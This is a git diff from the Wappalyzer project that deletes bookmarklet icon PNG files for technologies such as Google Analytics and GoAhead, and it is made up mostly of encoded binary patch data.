zcmV-e1E>6nP)kdg0009YNkl9{-mesT{LtAQ5jkMUxt;jH-5^F4!T&`fdwKZyr zIftnQ>9o}jVCsyDiP*xyCNfOYC>7{DPVVXd&Fgk>QfTzjkFFCYnZ}zZX)J7t*05+< zmoGWAbd_$fDbj6Tod-I7 zdrz0wttgr{Q*qA~JI;A%CvPC>q1!cNqAbaq&+MWXC>xyDxV!6=;U$ufGseE|%$Dt5 z@UVpqol(uU!cWi%h*A?Qo2*m;SS6mp253f|-m@_CObv=QVX|0msH(h!tU*yINQC(m;~l{i>N7Jhn2 zWj=fOn0qKAKuEPO<;B$+7L~ca#qGsOP#>Eq<}GHE#zl@1PdY0p;A^}D4dA1TWjhq3 zFso$EE;!=;o*qJc_-JAse$J9d4<7u4^wUU(QLsCDh9ZrV#;@7h&R+Tn^Kbz$I7fgm zH~VO#)S+8qHNq^#r&P7KQ_Us9+Nfk3orL+>Pct>YCZ^BRzi3eUla32b?8i^YNuJ;t zx(REbjvodVy{u807ruJXS<3;!{^TNI&D3yYFuO!ni$-CRq87ha+h4;`f(%@^FbFzH z6?N|H62(O8Dom0kBj@wqs^|dR)YHHv;153I)80j|E83!KGo?McvGo&r00RSXQ9*8J zYL+beZ;F(dlJ!-oua_V%9|q>u$InG$5Ua_yxT1G|cQVMfzJ&L6vsq(jp8CK#$NIx} iW-3bmn@u47kx#N?Sn3=xipP{6q#OJK8 zu&l}Iwa@IiyS=^5;>O6z%+uY|;q%nh*4^j!;o{@x?fCBR@A38f|NsBTZE`>W004$b zL_t&-83n+BHp4Ig1<;p9l$n~fRicag|6l0@0LH$w061?osn-CGmel*#$4fwO$))>! zdfx&|(oR4aHRa}5b`YbccD>XBVon|OG8GW11D5#!+2<3$_D8NMJHY2gEXj2MZ|e|x z%XB=}b$xw)+yw4Z+Wxa`-*XpWzm&9TJ_!K8KQ=xWGcPwNBLDyZ07*qoM6N<$f@eXG AX8-^I diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Glyphicons.png b/Wappalyzer/drivers/bookmarklet/images/icons/Glyphicons.png deleted file mode 100644 index a46d3965c7cf60aecbbc34d7d63f9ee0fb0271e1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 251 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE3?yBabR7dyApt%iuB-XwwrH9i4vssWS@dG> z!7mRVeR=r!D-b<;^7ZkPf4~3y|NsAJMDi95)6>}{FZLYRqGkSa|Di7r9&Ob!Kj0m9 z&^Ka>hS`zOgnz$(AM}s>_vg={z?fZD7dwIGCwaO!hE&Aey=cmJ)Ih}LqG7Ov{hRvv zh9Y^3!lS(WOpm^0o78xrKS4n@BUkw1e2$O~F{J`c1ApFqr&8=#=WqJjnZ;r5a=RgV z`rn`jr?=fby>EpNmx7(U diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/GoAhead.png b/Wappalyzer/drivers/bookmarklet/images/icons/GoAhead.png deleted file mode 100644 index a591e60968b9bbea0e88a1c6bdc0213d66dcc4a2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 465 zcmV;?0WSWDP)2hy~L#ws#2wb?S z;yPCb1qBY=8r@>K8Pdvi89Jx9GW`Fq&T!kLD+|jp<@+4 zgL5{40Bt)F!m#mqC&QeVeGKz}cicO{ryZ%pM*bB5BWb?dxB@D&OG>A(;T3T!j3tx6K-1y(cu<%JML(?{E z(voiP*%*ec@24>IpA2A-k>MmwvwyWLL-X!ThK%Xb#A*Qmmh6OaVTvv%00000NkvXX Hu0mjfbivK4 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/GoStats.png b/Wappalyzer/drivers/bookmarklet/images/icons/GoStats.png deleted file mode 100644 index a2ac7b74300900d32eb8c9bc6406f2f00f460975..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 787 zcmV+u1MK{XP)lnrI8`qF(M@csp+xR9ev*co zwk$l*EJw$j4a`O(2MGKH@YV{XZ34{ynnP_{4w1PZYd=_h+RtGBu)pWfJ;^8 zK2HTZd0eN-FZZ8;5_>-Sm!}|Klg&vqGcE0Jy_Cp08jJ=*7I$XqiCv+aneEvf4xIE$DpjwmUiH`Sd-W>Ke;xwjeeaw& z*+YAiJL|%m%(eW4Nkr1|rMC|s0eaLR0+U^|_t^X%9LEF#-0N*U6Qj1teKq#xIWpQI zaP;`M^S}h~*D!%1C1NY2offcsCz&-?)l@ASCTVKpq!j+2c|b} zU^0qOk`T(9=P@D*6hydjERo#ldcu?Ft~fD(l-CKEDyAxF8VU516A-WN+Q@A!L&M2+ zV?Hz_WbH7NE5Mbmms0fIM-%8K*gsQTYxi)g&`V^Dk^o@w%mOYUY3wuH7QB1DMcY;j z?Cx}v^ZrZQa7GfS5n>COVKy!ar!C3^o(RH>8d+MdcKc+EK_JG61>>7@zhL7KaOdF8 zd+9`D>H8&uX^=qQnSO8+02+sYnIRebcg`R{>l8!*!C)eao!e(ukxt23=_deeZ33Q+ zU?9WFHf9b)@!@wra{9vW&2`$H*FQdm#X#}KC%>9IhSNV>!ryzDo53ANPn4y3FbOS3;J}WVu_9o~KDYyLc5wm8&=k{#DRNp6#lS=K$`{cdAn+j2gIO6j&7qEQGad6j6 z8M-Ez2`pBdc8Y?}PGw(7CGq5N@Ua<^rz&r10U*`}m|5xY%-jP=;7;jirZosyWw(kB z&p*DksbUV^oYX{y>p;C$xt9#VXad2g7igqZ!&9wbEH@<~P7Sdpf&hsF4{t`VeFRSP z*Gs4sXay0Z^5vbs|NQDQ_|RPtad*arByjQOQ(HN9=pn4(@F!s3mOI(-)~8%KHva<9 zU54IexCC5{wH^>!f#A;g5D5C7Sm}W@O8Tll5B!l$t^&)EtOxam;%4#ew!2vm(L{bZ zzYW&`|5uM|m&3kpKarf9f~r7_f@lR*nm74R0kgneK;+h-N7nqOrvHNFaw3OD+!EB9 cGlc)~4<6KHU34~d-~a#s07*qoM6N<$g2FTPO#lD@ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google Analytics.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google Analytics.png deleted file mode 100644 index 1256791ffc42e818c349811cd98b3d49d1d9f749..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 829 zcmV-D1H$}?P)8*$btMzHw0{-0#8v#@I2Dk(rl2WPs zYDIe8fS3XR(2)=UR*}xD%@QQb?Yk@l25KNIOha7#4u0+i=#X1K_B5OsuGB>q370|m z_&|mW-{wIz_!M{!0Vz5G=FUFzcSCM6y00|by%s)7GLn^GCy%M`Ew}GP>}bG&KvxOG zmG9QK*Q-uV_Zs+UR)X%|3~))go{4lRqn8B&c?$FgkaH!X=JAhc1cv<(=Es%M|A->q zRF1d=cO*b=r<{v)#@yZxI_#4r)FT*C!c8=)rOESq5pM}-1oAurc5F8w@UUA#^a<$U zY9b*`tQg$XDR7g`08J^Qzu$#;utFBlb#E`=2Yc^87DB#W2!isw_!)`I4PYjQ^w;_O zTP9gy=?m$)%Fw<2_+3iVvRmfhrG%LO_f+ay93&Kw#O3X!>O{5Kv__5l3E~miC^;So4Re*aoPT+3qqGr8B;=+C#fi_2Q_mBD~$lpWp7K4LGn_)W4Iy^boN39Le&*x zrK1hWj+3AoypF-^7x>HhFCYnsg%+48pa3Na6p<_z1Wwj(DDVA%U#qY)00000NkvXX Hu0mjfQm=kH diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google App Engine.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google App Engine.png deleted file mode 100644 index 32ff514d70b3998a3a5a74c2d5a1c2a47a159271..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1745 zcmV;?1}^!DP)^C=iN3K|!se zsW)l_DMFEocM(f!L7_$ z^+NRr!1Moe0i;9=K_k+%wV}I^r%+i_s(P)j0DA!N+XBf-q{!u6Q7)uK5XR=(f^Udo z4VX7AkQiepKs}0Sg_=-9d2LbnHE$xCTR2uMq`u=xcMryVP)e~gm$EmcU8^JoUM6Fo ziDK&sAA}^UyDTKYh>1vok-f-SCb9i*L9E&b{B=nCmV~ZJ5|h6lp@OX(tI*60m%mlIPD~L<|mDWQ#VV+^%W6UPZk z!n+1i+<*I8N*M>&b%`%)1V||ef)obpjXcI~p5^d;!L2FGE#WdQQXJ-vRoa^G`bVNOtC`;06Hp%DmfapkhzDF@Oo8pYP5kc(L}L93BkbHEX^P! zi4%xg_*&75EWCD1>_sdk2?m3Z0;Bb75`s9^5yk}n*@C-1FUaQ7ICj=`oqd)iAHYiS z&`+jWZYR{jgr+tKH0#}j$M1h9DcivzX4tOs&v}n2-=Tjn%X>GCQ1gBK*;$e}#GY0#rOfbP4}Cd@k^{BCF8t#>>(>vH%Xf7)erb8BQ$;Bto6RzE+c4*=@YvY}nkan5Fb(At18Xc1#cn{v5=0Ito=arN3P zN+~j#45d4AR&tH#!b^7A62;wBv+Sg(D3}O5&0l>a*d<4ur*s2Fj3$3q!IEU8H z66$5An0o5)j^4fdC(CYssheCTjRu4P0Z1tkvh%MATCL8WNNJJFXHj;FKTXZ^ywa(|~znr{c-uHs#b8Mu)nOd~*NhHJkbiwv+~232e(kSprLlPUl%k7#qSU zCJ19*e0j0`Z~ zj|85){yBBS^Qe}acKMfWaxVqdUZ1=5#ou2)k<~Cjs6T)I&E59WGW(Kl(s=|*Jil=3 z(np zG_xN0RsO1{QT$cn%@W0es6aE py~*MCzQkV-wtxEm31}Q#4FJ0i$?d72VpaeE002ovPDHLkV1g?}8D{_h diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google Code Prettify.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google Code Prettify.png deleted file mode 100644 index 78b69568a62c5ffe18e5d2bc2a7df8584b413d25..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1274 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 N002ovPDHLkV1m#%t1JKj diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google Friend Connect.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google Friend Connect.png deleted file mode 100644 index 78b69568a62c5ffe18e5d2bc2a7df8584b413d25..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1274 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google PageSpeed.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google PageSpeed.png deleted file mode 100644 index 8f830f0e440c31405d57ecc61bb56074466309c1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 578 zcmV-I0=@l-P)iYiOnV8l6iqZZKsr+Wg{{wB(7>(%;Xuf{V z{~fRYAA-nZ@t&o)Js0`TWFLH@N@(i5&a*^eBneI;{6% zk)DOJ-b%jzRiWNgtNPEgK!A#cWU~1}d#rJ#*yDsmQl%i>00001bW%=J06^y0W&i*I zFiAu~RCr$1kX3R6F%U#8SY|deW0>Lox5~_pEp4TIfTVxlQ>$xQ|16G>5EH{8Q4|@5 zku-!?c||Z9f|SDdJkMwOb-|I60rpe&!mkQ@$;p%k zC`rh&zV)O9A*i4!1lCaTJ9z~D>xbBIlrWSF;8dW5P)*s&s+f3918+9!98ssC1T|2gMMIrA-w~<-Ol40 zUwDQ5JfUj?A8=6;);yS5PTjB@kL@0R0F3p-GvGmzT&{ew-#JoxUUL+z^TzJLwm(gz zfa!V7r{^=dHe?xxMTskL2AQjzHnwjuoZqYDl$k{n+TWOY)QCYz_N_mXAGnG(t$RAa Qf&c&j07*qoM6N<$f)-366#xJL diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Google Sites.png b/Wappalyzer/drivers/bookmarklet/images/icons/Google Sites.png deleted file mode 100644 index 6f74a7a75b817150431b27c4c4dbe3def8c440ee..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2342 zcmV+>3EB3EP)NklZk9X?toH`Ni2=`zYFv6mzbNr0;rK~Ud zF2Jv{9-ynE)1T_#h$IzNL@!u`Acfc9%fQ{Asy{mSb!=I<1a?PEVIE`*18+@iaozxd z?HX*|sY|53Qc+RqwD$~znU&)t`<_CCz76=-th*WP*wOKog(V7&_95{f%Mtm9HxbO# z`pGheyQ38xBTcb4coX!zRiNvph)s5Dq4>#47@O>ab>Jl&I#&t(kP7Jg zOR!B(Z-UML*2{p&rbGJr`pvPHR=8tlj~n{CaCymlh+<%&4Ez)W7b+;=;QR06xVYJ4xm$`Um;HmGLGC2AT-_~ToMnWKQSv**B*S#S2dHWn;XGKTqczNFTy zS(Es06BD!t1>&KL3vTZ>M%IGGxXgfK=gdVg12$i{2(}0IAfw_U!pnSMFFJ@%!u5G? zBZq;eG4N9?a0k||M`5`L+0BW#QWp*3wa;OivJHl(G@)&*iWEs6uG}BQwU#jiOGjYK zzz=5+!6dEc8|tf|7gz$T&`h+nc3^613e-%P~9_zHJ*yRMoh8vjqzwW#EN9EKFq< zu)b!5{h>NIdfXJH^$n=%8G)olhN!ARc-(n%v68)QZ4c-8!$3D$`y-Co1p6| z!s;UlFg}@!yu3UjAmFP&Q$r*FrlBEf>>Y4bSp^Y7Cx~h;BeNv|&c%mdk+U1xW-6#| z??TOI3w+cZ|NXhi)FAY_>cOdX>CX>X~NLZ5C?8=Z|9#j%n1UgzST{Hwzf7R zaAbNJYIs;%qd7MZkC|0HJv|6dK8^F$fe0vbf_bJs^n~gtZfJ$HYZ&M6_Tf}{KRim9 z`WsKwTjdNO>ShPJ`vy7Sz`y`f?}oqF1-YeCTx;mV<@-ZV)jxs*t9?LmKiazcIWRq6 zQBi@gu&`&HQlDJZz`-{O)7bR`K9(&2@w3fn<;s-~ckkZi%%h{D;p^**fOv1DRbRp* z*%LeC;^L54-G!WoGG2Qh)|)$f`8`T^Q&STnA|hshQ}6EX#_fh)oJ^LYx3?GP&Yk1q zRaI51zquQ}>EYoq)z{aDl#~?y;E59_c&(_BDlacDL}uMY)`J1mb`Ie&vzFTM@Gvf3 zyvXf-9-Mk>Yb&=ro0TLqG?bI1vS?~*4$U~-upM#Y-o1N}NF)dk4~M(EJ8Eldxvf!A zQT$>5lPA&M*~Nj!$H$SGnTfM!&%P9x9HS6Ui%3dJLP$smA5R3dw6yU2pHWspK>@0( zt5H)^gOZXGL`Ft}TuDw&=95}kS%FGLqzK?;!1T=R+qe0+n3xz;R#tKX6iOm69ZX$a z-4_UGU$}4qgM)*(e*HSP%G1*mb#-;z31Uv!ATm@}n(%pWu~>}e=4Sp$St2n+hFWoP zF(*J6l!5Krx4%H(6-!IYiO$YWT)lb~_wV0FKtKR@gA|KIA~ZBKaAFT1KIEaBwx8Uf z@)022CjwOa*w|R4rlxWNRaI5U&d%oG4<0;#y1IJP3ugjlW#w*~oI*!Apb2twb1^b9 zg8KS;KDo2AGruOMDA9DERu3&-vYd!hj;Iu5e|~;GM%j)?z_cZ2WMoXTzkq8mJ;1Ub z>&nW?IMa@f4i4z%=Ef~2Rd?>(;flx&B0$d2c&aOvq@|^WUne9apufMLKTmEFIPC`p z1_q-HL-X5?V8IxB=f{IYE2Olv6orL_aCLPBk?QK|;v^|>q*N-E z^0LubTBfu|n3&2SkX% zH@)5|c%+(2B@_y&)-J67^837q{F8NS*8lwU`#UV*Qv^ofv@G@X^kkH9DpP!XJm2w1 zHIZO{Y7fwn*D`~)YQ}_*rypkVtp10>PU%Z&t5fee~#2h~i0;CLKS194LO` z#EBIvR=j)n4ro+j#kr3kKi+mSef8qmx6dEk+P_@AdiB|}XScR(c4+x>+u7{4qsfYc zZ{F|UanHfPujljX!>{d{znr=DqAPv2Yx|c8o8R4aHa)Rh)RjKRv-9)kU%!f$e(R~;{J_a@;>3v)CQLYg{(RiDkFQ_9K6mci)TvWv&6?%V z_U)#d<=VAtj~qENW5$f{-#)Eby{fyj^VO?Yp)b@H0z+K7B*-tA;qBX3CtpueTX^&K zzn^utUNOC{DK#CVL!#GkSzXve&XtM|LZUFL$8`9T)lSm>D7gy`c4W0Hx~TP$aIxtJSu%_ zN!JlU=8zfd^xKM>8Xc!d^C&V(eEY~?vr$UAf3t(-0;~D6(hi<6yLx9&zonw{uA@sO zo_p?kDtfrWGj+<8X&V{#)xN7yy?uNA3KpA!5}QeHVv8B|eq2)(oS@3suu6p?V6Pa1 z#{Gx~Wmm54{g=>pTz&1d2CJjl{+?^Ugs+{~(B_uDZPu)V@n4t?)4MM;TzPjC7;+4r Lu6{1-oD!M7^G2C{Yiw>mQ_rQ1E1iHOUV5J^;w5rYH+0TPT5l|<$Sf(cO*gMQ%)(GUrK zSk`qgiKr3S=2i$91Tqq%Br3?l%2*tr16{kV1LCGATaUlf-b-$8&nexKt;v&q>+iYm z`<~PH5>l^{DWV8efp1Ab{RH3Tq*k$zw9nLpdqD>n2Mol)O|X2r1l|H;TDXzRz?G68 z&Q~UiJ#14-uGr|z3<94D!a1X0l}UhR%d9RNeK%~QcK{0)(5pRVB`adBj$DDjds^8= z68lpHY&2V51*3^@jqc*ok?1~8<8a8~HwjdLA&Eeg)RpE>MxfakuG9OpkD&_Pw?cOB zP{?i}br7giXCUa5M1YY1U4LJoV(T9|mdculx1y%sS6&mf3Itk20+&4si|p|*RG}ZN zi?undS`}W*(1tUlR<$MsDz`*9`Jf)$(>PnPC8C%Fs=$~?;sk&%1g4Wqz$iGa>8VDSa#6I^6SB+>WU z9HRi|!is~w^$5Bx5a6@%kx^i?pao{S0hJA7&w>)O0PAQjJU1&yqmnk%CQm_4gp-FK z{{ZxYcm|1|j{8>b6P^Y)WwE2q6oKwm*SLD1RCW>$Co8aZPzT4bpCaUFrb<+={3g~_ zFh6|`9Fz@x?oJW7*6Lyl8%vl(pj{J)nt2F8pMg=4z{a)h?4slGbOC$XAhO@voNSR? zpd;A=%z%JggzXl!W5c?Wa)Cg)z>^OYsE){(oj8IfflaI1*rkFpkwAQ)!5uRST+iHs zlgSof2s2P*z9Zg$A;5%pfsNiBXmssG@VG9}1A(#wQh_GpG0emcFs2Ix%eTn{uE(03 z<=Rb{5IEoBX1@KUGJ$$cp#MSm5j@DlpQ^sWzAsuL69^2pI&%>GgD!Bo*~8oo3X@z! zyRxkS=W8yo?WIGq@HqY}o{5DV1iY>b96D0Oa>P&1*R{ZJ|doet^D-i$*kpk7dV`p_(b>!U(-7Csb$&0dBnt?8S?TUOIgc13;Ywo z3X#PKUW0c88g{9cnL$bfd@Kq77i^l2SF zdu&$a9mhYk3Cs?|95^ejT=Dl z1-N0#teMlEN!iNWfwVrhKVufh(iYL)0lNF*=!TAIn60Ud-j=rHl+h)*tqXTly`-5I z0zOzt(}kN7_}(v8md4bqOP?NZ#K`D|<2X&KLSsk~$H(=@I;Na&jc4^GBf#v<6UR=w zl$)JN~}%Vyp1LT<|qv+}dESkj^0$k48*=`#&1DQkc?1XO!6*AjS&@-+prcu`|3>Q%4Shp}qh`ZeW(GAplJ%_z(nz%4a!4I3D!z^X?RJ$08vu zbm?H>%IFy`Wm3c}-9d^uuEfUz-~}QDK!t=!0=^|-j$cuHK}99k=VPF}l=XMt#jlUn zGp;9vCIkVY5EdFCp-D#PNZh6ChpWr>Ex}y>*9?rpdK%fHt6& zG6aF88Zfz_qJ;9LKZHdK&^K3+{_R$996pDpB0>RdO~AO@=@Wf)9I7UD<~%oo0)&7< zI_akD_Zl#@bYdk=asb7#@GqQ<>`kEm?E|DwMO2Q!sw|Lf?{IG5eR!11Hd2<+mPVk!z!svxly0X^{}AJKZS4w;H0(+L72 zf?oKo#1Sg7yb%Ou&meq9F;YqZOA*kK?CZz*bR)^00dEq)ydc9Kd4!v#PszrZd@lv} z-Gk;6A});{BnZ+uEJFC34-g)G2g8RL_>a`kcibQ;ID0Wb+75JwaV9fmG&qy)f;USO!zN^`48_TUefubwJsW^w3l@+wWeQ<8*nJb-vIPJ&D+?!+LE?c#lMeh_0lG{R zY>5YsjdS`iBh`!8#d(D8EaUck3xCZa`rVefaAKXP1;fcJ8bM3r zHavvj-h&5;zVi;p9(~kn6DTf5+BS(}$0(XVpXOIyL2qlLYsU@>=FDNBwianwcmic* zm_0p600e*qpm9Zjt5^my7DWq`0w7e?YuvqeFD>iW!)4iYb29*4+qYBs>Z_D3U+#rx zT3Q&pc{A-BH!?{4=uz6avMIgEi10-NMTtW7AqG}B8)f?@Zr=PwOt^|XW zEM5#in;Rw_heCG>iTZkC)zwH{r*qpjB#;2=ckSZrsZ+%9(N7^j20(F;UABp|9Z1<% z4WwzHsty2^>(&7v4TC}M-nx~@>eT?4-Q6S`8tC4+(-Sn@?|r4Ebf!|Y12F`>f|@y8H7Gg3EYkz}9sJsb98? zfs-d008)UJNMH~oK`t4>(m~lT;0*<~|AwX{m(lRx2d&NOk=#6|R4unD3u`C>R25I8 z?d`WIU9yDoXP>3*%{RT@O9=#Mc;X4T9N6t1&O<76cnzUxL|%TG@aWOr0qcDKeLCDdCmqKNcYq8-NRdOD zuqhFHfWHXXxsoR9OJ2)8iO2mR`RDs*85D&T@+UpSkrl5qhy$d71YiO-KCf+pTx`@+ z0{#m8$qkM2CDFJFHsUQK&9p;@d_SH!)5I6=2S5jsKnegshOif^6N*dNBj6A2i1%~j 